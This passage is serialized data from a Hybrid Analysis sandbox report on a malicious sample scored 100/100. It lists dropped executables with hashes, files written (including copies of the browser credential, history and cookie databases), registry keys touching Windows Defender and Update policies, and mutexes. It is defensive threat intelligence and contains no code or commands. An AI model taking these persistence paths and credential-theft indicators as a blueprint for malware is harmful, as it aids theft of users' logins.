73eb17eb0aa1d5881","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"urlref_httpswww.youtube.com","sha256":"997673983b26e853c685a6e217f7d401e881b51817401f7f569be1882e306bcf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"redline1234_1_.exe","sha256":"2db182f76ad1f6c00daba3e80bc78756739e7005873ba3c73eb17eb0aa1d5881","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"vinu_1_.exe","sha256":"3126f6837f3a708a7addeabc3ab28c1a6e183c343017a93a79759b4be550335c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"ko_1_.exe","sha256":"63b19624820412a19ca23015ff91b036a04ac8270fab88e86241b662007ab4e4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"networa_1_.exe","sha256":"e14eda48320252ec766234b5fe19f3da41cc6b00f2d8108f1a514b943d1d1067","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"niks_1_.exe","sha256":"732991a96c1a60cbcf149b42415bf70902970c9779a067042c53d3bfb2b32dab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]}],"files_written":[{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{F5E5586C-DA91-47DA-AEAC-0A88CD2FFB01}","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"path":"%ALLUSERSPROFILE%\\MPGPH131\\MPGPH131.exe","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"path":"%LOCALAPPDATA%\\RageMP131\\RageMP131.exe","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"path":"%TEMP%\\rage131MP.tmp","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"path":"%TEMP%\\F59E91F8","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"path":"%TEMP%\\d887ceb89d\\explorhe.exe","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"path":"%TEMP%\\jobA4Q6P9BsOQ2wXMT\\Ei8DrAmaYu9Ksignons.sqlite","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"path":"%TEMP%\\jobA4Q6P9BsOQ2wXMT\\8ghN89CsjOW1places.sqlite","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"path":"%TEMP%\\jobA4Q6P9BsOQ2wXMT\\D87fZN3R3jFecookies.sqlite","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"path":"%TEMP%\\jobA4Q6P9BsOQ2wXMT\\02zdBXl47cvzplaces.sqlite","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"65b6ff12729fd815fa031fe1"},{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\DEVICECLASSES\\","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"key":"HKCUHKCU\\SOFTWARE\\ENIGMA PROTECTOR\\BB3DF1FDBB935E9B-50AFA6E27F8A32AF\\1D23E801FF916F1C-DF69CE3484AE41BB\\","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\FEATURES\\","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS DEFENDER SECURITY CENTER\\NOTIFICATIONS\\","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"key":"HKLMHKLM\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS DEFENDER SECURITY CENTER\\","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\WINDOWSUPDATE\\AU\\","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\WINDOWSUPDATE\\","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"DBWinMutex","sources":[{"report_type":"sandbox","report_id":"65b6ff12729fd815fa031fe1"},{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"Local\\SM0:6904:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b6ff12729fd815fa031fe1"}]},{"name":"SM0:6904:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b6ff12729fd815fa031fe1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IsoScope_a64_IESQMMUTEX_0_519","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"{5312EE61-79E3-4A24-BFE1-132B85B23C3A}","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"IsoScope_a64_IESQMMUTEX_0_331","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"{66D0969A-1E86-44CF-B4EC-3806DDDA3B5D}","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"Local\\URLBLOCK_HASHFILESWITCH_MUTEX","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"IsoScope_a64_ConnHashTable<2660>_HashTable_Mutex","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"IsoScope_a64_IESQMMUTEX_0_519","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"IsoScope_a64_IESQMMUTEX_0_303","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"Local\\VERMGMTBlockListFileMutex","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"Local\\!BrowserEmulation!SharedMemory!Mutex","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"IsoScope_a64_IE_EarlyTabStart_0xbdc_Mutex","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"Local\\URLBLOCK_FILEMAPSWITCH_MUTEX_2660","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"Local\\URLBLOCK_DOWNLOAD_MUTEX","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!BrowserEmulation!SharedMemory!Mutex","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\VERMGMTBlockListFileMutex","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\URLBLOCK_FILEMAPSWITCH_MUTEX_2660","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\URLBLOCK_HASHFILESWITCH_MUTEX","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\URLBLOCK_DOWNLOAD_MUTEX","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IsoScope_a64_IE_EarlyTabStart_0xbdc_Mutex","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IsoScope_a64_ConnHashTable<2660>_HashTable_Mutex","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{5312EE61-79E3-4A24-BFE1-132B85B23C3A}","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{66D0969A-1E86-44CF-B4EC-3806DDDA3B5D}","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IsoScope_a64_IESQMMUTEX_0_303","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IsoScope_a64_IESQMMUTEX_0_331","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"Local\\MSIMGSIZECacheMutex","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"_!SHMSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"IsoScope_a64_IESQMMUTEX_0_274","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IsoScope_a64_IESQMMUTEX_0_274","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\MSIMGSIZECacheMutex","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\_!SHMSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\006700e5a2ab05704bbb0c589b88924d","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"006700e5a2ab05704bbb0c589b88924d","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]}]}},"report_ids":{"sandbox_job_ids":["65b6ff1b7e75f63ab1049330","65b6ff12729fd815fa031fe1"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Malware Sample 2f7f23610e8e… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 2f7f23610e8e…. Malware family: Malware. Threat score 100/100. 7/25 AV engines flagged this file. 15 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/2f7f23610e8e0633ef0b03d602a02734bdcadab3fdc8c15d0f6d93a0a454fa6f"}],["$","meta","4",{"property":"og:title","content":"Malicious Malware Sample 2f7f23610e8e… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 2f7f23610e8e…. Malware family: Malware. Threat score 100/100. 7/25 AV engines flagged this file. 15 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/2f7f23610e8e0633ef0b03d602a02734bdcadab3fdc8c15d0f6d93a0a454fa6f"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Malware Sample 2f7f23610e8e… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 2f7f23610e8e…. Malware family: Malware. Threat score 100/100. 7/25 AV engines flagged this file. 15 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L5f","11",{}]]